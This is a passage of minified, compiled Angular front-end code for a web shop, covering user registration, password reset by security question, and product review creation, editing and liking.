e=t.MAs(41);t.Q6J("passwordComponent",e)("lowerCaseCriteriaMsg",t.lcZ(1,6,"LOWER_CASE_CRITERIA_MSG"))("upperCaseCriteriaMsg",t.lcZ(2,8,"UPPER_CASE_CRITERIA_MSG"))("digitsCriteriaMsg",t.lcZ(3,10,"DIGITS_CRITERIA_MSG"))("specialCharsCriteriaMsg",t.lcZ(4,12,"SPECIAL_CHARS_CRITERIA_MSG"))("minCharsCriteriaMsg",t.xi3(5,14,"MIN_CHARS_CRITERIA_MSG",t.DdM(17,eo)))}}function oo(n,a){if(1&n&&(t.TgZ(0,"mat-option",32),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.Q6J("value",e.id),t.xp6(1),t.hij(" ",e.question," ")}}function ao(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_SECURITY_QUESTION "),t.qZA())}function io(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_SECURITY_ANSWER "),t.qZA())}O.vI.add(g.FKd,g.RLE);let ro=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q){this.securityQuestionService=e,this.userService=o,this.securityAnswerService=i,this.router=r,this.formSubmitService=l,this.translateService=m,this.snackBar=v,this.snackBarHelperService=A,this.ngZone=q,this.emailControl=new s.p4("",[s.kI.required,s.kI.email]),this.passwordControl=new s.p4("",[s.kI.required,s.kI.minLength(5),s.kI.maxLength(40)]),this.repeatPasswordControl=new s.p4("",[s.kI.required,so(this.passwordControl)]),this.securityQuestionControl=new s.p4("",[s.kI.required]),this.securityAnswerControl=new s.p4("",[s.kI.required]),this.error=null}ngOnInit(){this.securityQuestionService.find(null).subscribe(e=>{this.securityQuestions=e},e=>{console.log(e)}),this.formSubmitService.attachEnterKeyHandler("registration-form","registerButton",()=>{this.save()})}save(){var e=this;const o={email:this.emailControl.value,password:this.passwordControl.value,passwordRepeat:this.repeatPasswordControl.value,securityQuestion:this.securityQuestions.find(i=>i.id===this.securityQuestionControl.value),securityAnswer:this.securityAnswerControl.value};this.userService.save(o).subscribe(i=>{this.securityAnswerService.save({UserId:i.id,answer:this.securityAnswerControl.value,SecurityQuestionId:this.securityQuestionControl.value}).subscribe(()=>{this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/login"])})),this.snackBarHelperService.open("CONFIRM_REGISTER")})},i=>{if(console.log(i),i.error?.errors){const r=i.error.errors[0];this.error=r.message?r.message[0].toUpperCase()+r.message.slice(1):r}})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ht),t.Y36(R),t.Y36(be),t.Y36(U.F0),t.Y36(rt),t.Y36(u.sK),t.Y36(ut.ux),t.Y36(J.H),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-register"]],decls:69,vars:39,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["ng-if","error",1,"error"],["id","registration-form",1,"form-container"],["appearance","outline","color","accent"],["id","emailControl","type","text","matInput","","aria-label","Email address field",3,"formControl","focus"],["translate","",4,"ngIf"],["id","passwordControl","type","password","matInput","","aria-label","Field for the password",3,"formControl","focus"],["password",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["align","end"],["translate","",3,"translateParams",4,"ngIf"],["id","repeatPasswordControl","type","password","matInput","","aria-label","Field to confirm the password",3,"formControl","focus"],["repeatPassword",""],[3,"color"],["passwordInfoToggle",""],[3,"password"],["passwordStrength",""],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg",4,"ngIf"],[1,"security-container"],["color","accent","appearance","outline"],["placeholder","","name","securityQuestion","aria-label","Selection list for the security question",3,"formControl","value","valueChange","focus"],[3,"value",4,"ngFor","ngForOf"],["id","securityAnswerControl","type","text","matInput","","aria-label","Field for the answer to the security question",3,"formControl","placeholder","focus"],["type","submit","id","registerButton","mat-raised-button","","color","primary","aria-label","Button to complete the registration",3,"disabled","click"],[1,"material-icons"],["id","alreadyACustomerLink"],["routerLink","/login","translate","",1,"primary-link"],["translate","",3,"translateParams"],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg"],[3,"value"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_REGISTRATION"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.TgZ(6,"div",4)(7,"mat-form-field",5)(8,"mat-label",2),t._uU(9,"LABEL_EMAIL"),t.qZA(),t.TgZ(10,"input",6),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.YNc(11,Wn,2,0,"mat-error",7),t.YNc(12,zn,2,0,"mat-error",7),t.qZA(),t.TgZ(13,"mat-form-field",5)(14,"mat-label",2),t._uU(15,"LABEL_PASSWORD"),t.qZA(),t.TgZ(16,"input",8,9),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.TgZ(18,"mat-hint",2),t._UZ(19,"i",10),t.TgZ(20,"em",11),t._uU(21),t.ALo(22,"translate"),t.qZA()(),t.TgZ(23,"mat-hint",12),t._uU(24),t.qZA(),t.YNc(25,$n,2,0,"mat-error",7),t.YNc(26,Vn,2,2,"mat-error",13),t.qZA(),t.TgZ(27,"mat-form-field",5)(28,"mat-label",2),t._uU(29,"LABEL_PASSWORD_REPEAT"),t.qZA(),t.TgZ(30,"input",14,15),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.TgZ(32,"mat-hint",12),t._uU(33),t.qZA(),t.YNc(34,Xn,2,0,"mat-error",7),t.YNc(35,to,2,0,"mat-error",7),t.qZA(),t.TgZ(36,"mat-slide-toggle",16,17),t._uU(38),t.ALo(39,"translate"),t.qZA(),t._UZ(40,"mat-password-strength",18,19),t.YNc(42,no,6,18,"mat-password-strength-info",20),t.TgZ(43,"div",21)(44,"mat-form-field",22)(45,"mat-label"),t._uU(46),t.ALo(47,"translate"),t.qZA(),t.TgZ(48,"mat-select",23),t.NdJ("valueChange",function(r){return o.selected=r})("focus",function(){return o.error=null}),t.YNc(49,oo,2,2,"mat-option",24),t.qZA(),t.TgZ(50,"mat-hint",2),t._UZ(51,"i",10),t.TgZ(52,"em",11),t._uU(53,"CANNOT_BE_CHANGED_LATER"),t.qZA()(),t.YNc(54,ao,2,0,"mat-error",7),t.qZA(),t.TgZ(55,"mat-form-field",5)(56,"mat-label",2),t._uU(57,"SECURITY_ANSWER"),t.qZA(),t.TgZ(58,"input",25),t.NdJ("focus",function(){return o.error=null}),t.ALo(59,"translate"),t.qZA(),t.YNc(60,io,2,0,"mat-error",7),t.qZA()(),t.TgZ(61,"button",26),t.NdJ("click",function(){return o.save()}),t.TgZ(62,"i",27),t._uU(63," person_add "),t.qZA(),t._uU(64),t.ALo(65,"translate"),t.qZA(),t.TgZ(66,"div",28)(67,"a",29),t._uU(68,"ALREADY_A_CUSTOMER"),t.qZA()()()()()),2&e){const i=t.MAs(17),r=t.MAs(31),l=t.MAs(37),m=t.MAs(41);t.xp6(5),t.Oqu(o.error),t.xp6(5),t.Q6J("formControl",o.emailControl),t.xp6(1),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.email),t.xp6(4),t.Q6J("formControl",o.passwordControl),t.xp6(5),t.Oqu(t.xi3(22,27,"INVALID_PASSWORD_LENGTH",t.DdM(38,Te))),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid&&o.passwordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid&&(o.passwordControl.errors.minlength||o.passwordControl.errors.maxlength)),t.xp6(4),t.Q6J("formControl",o.repeatPasswordControl),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/40"),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.notSame),t.xp6(1),t.Q6J("color",m.color),t.xp6(2),t.Oqu(t.lcZ(39,30,"SHOW_PASSWORD_ADVICE")),t.xp6(2),t.Q6J("password",i.value),t.xp6(2),t.Q6J("ngIf",l.checked),t.xp6(4),t.hij(" ",t.lcZ(47,32,"LABEL_SECURITY_QUESTION")," "),t.xp6(2),t.Q6J("formControl",o.securityQuestionControl)("value",o.selected),t.xp6(1),t.Q6J("ngForOf",o.securityQuestions),t.xp6(5),t.Q6J("ngIf",o.securityQuestionControl.invalid&&o.securityQuestionControl.errors.required),t.xp6(4),t.Q6J("formControl",o.securityAnswerControl)("placeholder",t.lcZ(59,34,"SECURITY_ANSWER_PLACEHOLDER")),t.xp6(2),t.Q6J("ngIf",o.securityAnswerControl.invalid&&o.securityAnswerControl.errors.required),t.xp6(1),t.Q6J("disabled",o.emailControl.invalid||o.passwordControl.invalid||o.repeatPasswordControl.invalid||o.securityQuestionControl.invalid||o.securityAnswerControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(65,36,"BTN_REGISTER")," ")}},dependencies:[h.sg,h.O5,U.rH,u.Pi,Ct.ne,Ct.Xy,p.Wh,s.Fj,s.JJ,s.oH,f.TO,f.KE,f.bx,f.hX,vt.gD,Gt.ey,x.lW,T.a8,B.Nt,jt.Rr,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#registerButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}#alreadyACustomerLink[_ngcontent-%COMP%]{align-self:center;font-size:12px;margin-top:40px}.security-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative} mat-option .mat-option-text{font-size:14px}"]}),n})();function so(n){return function(e){return n.value!==e.value?{notSame:!0}:null}}var F=c(7392),Q=c(266);function lo(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_EMAIL"),t.qZA())}function co(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_EMAIL"),t.qZA())}function uo(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_SECURITY_ANSWER "),t.qZA())}function po(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_NEW_PASSWORD "),t.qZA())}function mo(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_PASSWORD_REPEAT "),t.qZA())}function go(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," PASSWORDS_NOT_MATCHING "),t.qZA())}const Ae=function(){return{length:"5-40"}};function ho(n,a){1&n&&(t.TgZ(0,"mat-error",28),t._uU(1,"INVALID_PASSWORD_LENGTH "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Ae))}const _o=function(){return{value:8}};function fo(n,a){if(1&n&&(t._UZ(0,"mat-password-strength-info",29),t.ALo(1,"translate"),t.ALo(2,"translate"),t.ALo(3,"translate"),t.ALo(4,"translate"),t.ALo(5,"translate")),2&n){t.oxw();const e=t.MAs(55);t.Q6J("passwordComponent",e)("lowerCaseCriteriaMsg",t.lcZ(1,6,"LOWER_CASE_CRITERIA_MSG"))("upperCaseCriteriaMsg",t.lcZ(2,8,"UPPER_CASE_CRITERIA_MSG"))("digitsCriteriaMsg",t.lcZ(3,10,"DIGITS_CRITERIA_MSG"))("specialCharsCriteriaMsg",t.lcZ(4,12,"SPECIAL_CHARS_CRITERIA_MSG"))("minCharsCriteriaMsg",t.xi3(5,14,"MIN_CHARS_CRITERIA_MSG",t.DdM(17,_o)))}}O.vI.add(g.r6l,D.Xc);let Co=(()=>{class n{constructor(e,o,i){this.securityQuestionService=e,this.userService=o,this.translate=i,this.emailControl=new s.p4("",[s.kI.required,s.kI.email]),this.securityQuestionControl=new s.p4({disabled:!0,value:""},[s.kI.required]),this.passwordControl=new s.p4({disabled:!0,value:""},[s.kI.required,s.kI.minLength(5)]),this.repeatPasswordControl=new s.p4({disabled:!0,value:""},[s.kI.required,vo(this.passwordControl)]),this.timeoutDuration=1e3}findSecurityQuestion(){clearTimeout(this.timeout),this.timeout=setTimeout(()=>{this.securityQuestion=void 0,this.emailControl.value?this.securityQuestionService.findBy(this.emailControl.value).subscribe(e=>{e?(this.securityQuestion=e.question,this.securityQuestionControl.enable(),this.passwordControl.enable(),this.repeatPasswordControl.enable()):(this.securityQuestionControl.disable(),this.passwordControl.disable(),this.repeatPasswordControl.disable())},e=>e):(this.securityQuestionControl.disable(),this.passwordControl.disable(),this.repeatPasswordControl.disable())},this.timeoutDuration)}resetPassword(){this.userService.resetPassword({email:this.emailControl.value,answer:this.securityQuestionControl.value,new:this.passwordControl.value,repeat:this.repeatPasswordControl.value}).subscribe(()=>{this.error=void 0,this.translate.get("PASSWORD_SUCCESSFULLY_CHANGED").subscribe(e=>{this.confirmation=e},e=>{this.confirmation=e}),this.resetForm()},e=>{this.error=e.error,this.confirmation=void 0,this.resetErrorForm()})}resetForm(){this.emailControl.setValue(""),this.emailControl.markAsPristine(),this.emailControl.markAsUntouched(),this.securityQuestionControl.setValue(""),this.securityQuestionControl.markAsPristine(),this.securityQuestionControl.markAsUntouched(),this.passwordControl.setValue(""),this.passwordControl.markAsPristine(),this.passwordControl.markAsUntouched(),this.repeatPasswordControl.setValue(""),this.repeatPasswordControl.markAsPristine(),this.repeatPasswordControl.markAsUntouched()}resetErrorForm(){this.emailControl.markAsPristine(),this.emailControl.markAsUntouched(),this.securityQuestionControl.setValue(""),this.securityQuestionControl.markAsPristine(),this.securityQuestionControl.markAsUntouched(),this.passwordControl.setValue(""),this.passwordControl.markAsPristine(),this.passwordControl.markAsUntouched(),this.repeatPasswordControl.setValue(""),this.repeatPasswordControl.markAsPristine(),this.repeatPasswordControl.markAsUntouched()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ht),t.Y36(R),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-forgot-password"]],decls:61,vars:39,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],[1,"confirmation",3,"hidden"],[1,"error",3,"hidden"],[1,"form-container"],["appearance","outline","color","accent"],["id","email","type","email","matInput","","placeholder","Enter your email","aria-label","Email address field",3,"formControl","ngModelChange"],["matSuffix","","matTooltipPosition","right","aria-label","Please enter your email address to proceed",3,"matTooltip"],["translate","",4,"ngIf"],["id","forgot-form",1,"form-container"],["id","securityAnswer","type","password","matInput","","aria-label","Field for the answer to the security question",3,"formControl","placeholder"],["matSuffix","","matTooltipPosition","right","aria-label","Please answer your selected security question",3,"matTooltip"],["id","newPassword","type","password","matInput","","placeholder","","aria-label","Field for New Password",3,"formControl"],["password",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["align","end"],["id","newPasswordRepeat","type","password","matInput","","placeholder","","aria-label","Field to confirm the new password",3,"formControl"],["repeatPassword",""],["translate","",3,"translateParams",4,"ngIf"],[3,"color"],["passwordInfoToggle",""],[3,"password"],["passwordStrength",""],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg",4,"ngIf"],["type","submit","id","resetButton","mat-raised-button","","color","primary","aria-label","Button to confirm the changes",3,"disabled","click"],["aria-hidden","true",1,"far","fa-edit","fa-lg"],["translate","",3,"translateParams"],[3,"passwordComponent","lowerCaseCriteriaMsg","upperCaseCriteriaMsg","digitsCriteriaMsg","specialCharsCriteriaMsg","minCharsCriteriaMsg"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_FORGOT_PASSWORD"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.TgZ(6,"div",4),t._uU(7),t.qZA(),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_EMAIL"),t.qZA(),t.TgZ(12,"input",7),t.NdJ("ngModelChange",function(){return o.findSecurityQuestion()}),t.qZA(),t.TgZ(13,"mat-icon",8),t.ALo(14,"translate"),t._uU(15,"help_outline "),t.qZA(),t.YNc(16,lo,2,0,"mat-error",9),t.YNc(17,co,2,0,"mat-error",9),t.qZA()(),t.TgZ(18,"div",10)(19,"mat-form-field",6)(20,"mat-label",2),t._uU(21,"LABEL_SECURITY_QUESTION"),t.qZA(),t._UZ(22,"input",11),t.TgZ(23,"mat-icon",12),t.ALo(24,"translate"),t._uU(25,"help_outline "),t.qZA(),t.YNc(26,uo,2,0,"mat-error",9),t.qZA(),t.TgZ(27,"mat-form-field",6)(28,"mat-label",2),t._uU(29,"LABEL_NEW_PASSWORD"),t.qZA(),t._UZ(30,"input",13,14),t.TgZ(32,"mat-hint",2),t._UZ(33,"i",15),t.TgZ(34,"em",16),t._uU(35),t.ALo(36,"translate"),t.qZA()(),t.TgZ(37,"mat-hint",17),t._uU(38),t.qZA(),t.YNc(39,po,2,0,"mat-error",9),t.qZA(),t.TgZ(40,"mat-form-field",6)(41,"mat-label",2),t._uU(42,"LABEL_REPEAT_NEW_PASSWORD"),t.qZA(),t._UZ(43,"input",18,19),t.TgZ(45,"mat-hint",17),t._uU(46),t.qZA(),t.YNc(47,mo,2,0,"mat-error",9),t.YNc(48,go,2,0,"mat-error",9),t.YNc(49,ho,2,2,"mat-error",20),t.qZA(),t.TgZ(50,"mat-slide-toggle",21,22),t._uU(52),t.ALo(53,"translate"),t.qZA(),t._UZ(54,"mat-password-strength",23,24),t.YNc(56,fo,6,18,"mat-password-strength-info",25),t.qZA(),t.TgZ(57,"button",26),t.NdJ("click",function(){return o.resetPassword()}),t._UZ(58,"i",27),t._uU(59),t.ALo(60,"translate"),t.qZA()()()),2&e){const i=t.MAs(31),r=t.MAs(44),l=t.MAs(51),m=t.MAs(55);t.xp6(4),t.Q6J("hidden",!(o.confirmation&&!o.emailControl.dirty&&!o.securityQuestionControl.dirty&&!o.passwordControl.dirty&&!o.repeatPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.confirmation," "),t.xp6(1),t.Q6J("hidden",!(o.error&&!o.emailControl.dirty&&!o.securityQuestionControl.dirty&&!o.passwordControl.dirty&&!o.repeatPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.error," "),t.xp6(5),t.Q6J("formControl",o.emailControl),t.xp6(1),t.s9C("matTooltip",t.lcZ(14,27,"MANDATORY_EMAIL")),t.xp6(3),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.emailControl.invalid&&o.emailControl.errors.email),t.xp6(5),t.s9C("placeholder",o.securityQuestion),t.Q6J("formControl",o.securityQuestionControl),t.xp6(1),t.s9C("matTooltip",t.lcZ(24,29,"MANDATORY_SECURITY_ANSWER")),t.xp6(3),t.Q6J("ngIf",o.securityQuestionControl.invalid&&o.securityQuestionControl.errors.required),t.xp6(4),t.Q6J("formControl",o.passwordControl),t.xp6(5),t.Oqu(t.xi3(36,31,"INVALID_PASSWORD_LENGTH",t.DdM(38,Ae))),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid&&o.passwordControl.errors.required),t.xp6(4),t.Q6J("formControl",o.repeatPasswordControl),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&o.repeatPasswordControl.errors.notSame),t.xp6(1),t.Q6J("ngIf",o.repeatPasswordControl.invalid&&((null==o.repeatPasswordControl?null:o.repeatPasswordControl.errors.minlength)||(null==o.repeatPasswordControl?null:o.repeatPasswordControl.errors.maxlength))),t.xp6(1),t.Q6J("color",m.color),t.xp6(2),t.Oqu(t.lcZ(53,34,"SHOW_PASSWORD_ADVICE")),t.xp6(2),t.Q6J("password",i.value),t.xp6(2),t.Q6J("ngIf",l.checked),t.xp6(1),t.Q6J("disabled",o.emailControl.invalid||o.securityQuestionControl.invalid||o.passwordControl.invalid||o.repeatPasswordControl.invalid||o.repeatPasswordControl.disabled),t.xp6(2),t.hij(" ",t.lcZ(60,36,"BTN_CHANGE")," ")}},dependencies:[h.O5,u.Pi,Ct.ne,Ct.Xy,p.Wh,s.Fj,s.JJ,s.oH,F.Hw,f.TO,f.KE,f.bx,f.hX,f.R9,x.lW,T.a8,B.Nt,Q.gM,jt.Rr,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}button[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;margin-top:30px;width:60%}"]}),n})();function vo(n){return function(e){return n.value!==e.value?{notSame:!0}:null}}var N=c(5412);let Kt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/products"}get(e){return this.http.get(`${this.host}/${e}/reviews`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}create(e,o){return this.http.put(`${this.host}/${e}/reviews`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}patch(e){return this.http.patch(this.host+"/reviews",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}like(e){return this.http.post(this.host+"/reviews",{id:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function xo(n,a){1&n&&(t.TgZ(0,"mat-error",1),t._uU(1,"MANDATORY_REVIEW"),t.qZA())}O.vI.add(g.XCy,g.OFe);let bo=(()=>{class n{constructor(e,o,i,r,l){this.data=e,this.productReviewService=o,this.dialogRef=i,this.snackBar=r,this.snackBarHelperService=l,this.editReviewControl=new s.p4("",[s.kI.required,s.kI.minLength(1),s.kI.maxLength(160)]),this.error=null}ngOnInit(){this.editReviewControl.setValue(this.data.reviewData.message)}editReview(){this.productReviewService.patch({id:this.data.reviewData._id,message:this.editReviewControl.value}).subscribe(()=>{this.dialogRef.close()},e=>{console.log(e),this.error=e}),this.snackBarHelperService.open("CONFIRM_CHANGES_SAVED")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI),t.Y36(Kt),t.Y36(N.so),t.Y36(ut.ux),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-product-review-edit"]],decls:27,vars:13,consts:[["fxLayout","column",1,"container","mat-typography"],["translate",""],["appearance","outline","color","accent","hintLabel","Max 160 characters","floatLabel","always"],["matInput","","matTextareaAutosize","","matAutosizeMinRows","2","maxlength","160","matAutosizeMaxRows","4","aria-label","Text field to edit a product review",3,"formControl","placeholder","focus"],["textPut",""],["align","end"],["translate","",4,"ngIf"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog"],[1,"material-icons"],["type","submit","mat-raised-button","","color","primary","aria-label","Send the review",2,"margin-left","5px",3,"disabled","click"]],template:function(e,o){if(1&e&&(t.TgZ(0,"mat-dialog-content")(1,"div",0)(2,"h1",1),t._uU(3,"LABEL_EDIT_REVIEW"),t.qZA(),t.TgZ(4,"div")(5,"mat-form-field",2)(6,"mat-label",1),t._uU(7,"LABEL_REVIEW"),t.qZA(),t.TgZ(8,"textarea",3,4),t.NdJ("focus",function(){return o.error=null}),t.ALo(10,"translate"),t.qZA(),t.TgZ(11,"mat-hint",5),t._uU(12),t.qZA(),t.YNc(13,xo,2,0,"mat-error",6),t.qZA()()()(),t.TgZ(14,"mat-dialog-actions",5)(15,"button",7)(16,"i",8),t._uU(17," close "),t.qZA(),t.TgZ(18,"span"),t._uU(19),t.ALo(20,"translate"),t.qZA()(),t.TgZ(21,"button",9),t.NdJ("click",function(){return o.editReview()}),t.TgZ(22,"i",8),t._uU(23," send "),t.qZA(),t.TgZ(24,"span"),t._uU(25),t.ALo(26,"translate"),t.qZA()()()),2&e){const i=t.MAs(9);t.xp6(8),t.s9C("placeholder",t.lcZ(10,7,"WRITE_REVIEW_PLACEHOLDER")),t.Q6J("formControl",o.editReviewControl),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/160"),t.xp6(1),t.Q6J("ngIf",o.editReviewControl.invalid),t.xp6(6),t.hij(" ",t.lcZ(20,9,"BTN_CLOSE"),""),t.xp6(2),t.Q6J("disabled",o.editReviewControl.invalid),t.xp6(4),t.hij(" ",t.lcZ(26,11,"BTN_SUBMIT"),"")}},dependencies:[h.O5,u.Pi,p.xw,s.Fj,s.JJ,s.nD,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,B.Nt,N.ZT,N.xY,N.H8,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{width:100%}"]}),n})();var z=c(8729),V=c(7084);function To(n,a){if(1&n&&(t.TgZ(0,"div",24),t.ALo(1,"translate"),t.TgZ(2,"span",25),t._UZ(3,"i",26),t.TgZ(4,"span",27),t._uU(5),t.qZA()()()),2&n){const e=t.oxw();t.s9C("matTooltip",t.lcZ(1,2,"LABEL_BONUS")),t.xp6(5),t.Oqu(e.data.productData.points)}}function Ao(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",29)(1,"div",30)(2,"div",31),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG("Anonymous"!==r.author&&r.author===l.author&&l.editReview(r))}),t.ALo(3,"translate"),t.TgZ(4,"cite"),t._uU(5),t.qZA(),t.TgZ(6,"p"),t._uU(7),t.qZA()(),t.TgZ(8,"div")(9,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.likeReview(r))}),t.TgZ(10,"span",25)(11,"mat-icon"),t._uU(12,"thumb_up"),t.qZA(),t.TgZ(13,"span",33),t._uU(14),t.qZA()()()()()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(2),t.s9C("matTooltipDisabled",e.author!==o.author),t.s9C("matTooltip",t.lcZ(3,6,"LABEL_EDIT_REVIEW")),t.xp6(3),t.Oqu(e.author),t.xp6(2),t.Oqu(e.message),t.xp6(2),t.Q6J("disabled",e.liked||!o.isLoggedIn()),t.xp6(5),t.Oqu(e.likesCount)}}function yo(n,a){if(1&n&&(t.TgZ(0,"div"),t.YNc(1,Ao,15,8,"div",28),t.ALo(2,"async"),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngForOf",t.lcZ(2,1,e.reviews$))}}function Zo(n,a){1&n&&(t.TgZ(0,"div")(1,"span",34),t._uU(2," EMPTY_REVIEW_LIST "),t.qZA()())}const wo=function(){return{length:"160"}};O.vI.add(g.XCy,g.OFe,g.yXf,g.u8Q,g.nmd);let ye=(()=>{class n{constructor(e,o,i,r,l,m){this.dialog=e,this.data=o,this.productReviewService=i,this.userService=r,this.snackBar=l,this.snackBarHelperService=m,this.author="Anonymous",this.reviewControl=new s.p4("",[s.kI.maxLength(160)])}ngOnInit(){this.data.productData.points=Math.round(this.data.productData.price/10),this.reviews$=this.productReviewService.get(this.data.productData.id),this.userSubscription=this.userService.whoAmI().subscribe(e=>{this.author=e?.email?e.email:"Anonymous"},e=>{console.log(e)})}ngOnDestroy(){this.userSubscription&&this.userSubscription.unsubscribe()}addReview(e){const o={message:e.value,author:this.author};e.value="",this.productReviewService.create(this.data.productData.id,o).subscribe(()=>{this.reviews$=this.productReviewService.get(this.data.productData.id)},i=>{console.log(i)}),this.snackBarHelperService.open("CONFIRM_REVIEW_SAVED")}editReview(e){this.dialog.open(bo,{width:"500px",height:"max-content",data:{reviewData:e}}).afterClosed().subscribe(()=>this.reviews$=this.productReviewService.get(this.data.productData.id))}likeReview(e){this.productReviewService.like(e._id).subscribe(()=>{console.log("Liked "+e._id)}),setTimeout(()=>this.reviews$=this.productReviewService.get(this.data.productData.id),200)}isLoggedIn(){return localStorage.getItem("token")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw),t.Y36(N.WI),t.Y36(Kt),t.Y36(R),t.Y36(ut.ux),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-product-details"]],decls:59,vars:36,consts:[["fxLayout","column",1,"container","mat-typography"],["fxLayout","row","fxLayout.lt-sm","column","fxLayoutGap","20px"],["fxFlex","noshrink"],[1,"img-thumbnail",3,"src","alt"],[3,"innerHTML"],[1,"item-price"],["aria-label","Bonus points when buying the product",3,"matTooltip",4,"ngIf"],[1,"detail-divider"],["mat-button","",2,"height","0","position","absolute"],["aria-label","Expand for Reviews",1,"mat-elevation-z0"],["translate","",2,"margin-right","5px"],[4,"ngIf","ngIfElse"],["emptyResult",""],["translate",""],["appearance","outline","color","accent","floatLabel","always"],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["cols","50","matInput","","matTextareaAutosize","","matAutosizeMinRows","2","maxlength","160","matAutosizeMaxRows","4","aria-label","Text field to review a product",3,"formControl","placeholder"],["textPut",""],["align","end"],["align","end",1,"dialogAction"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close 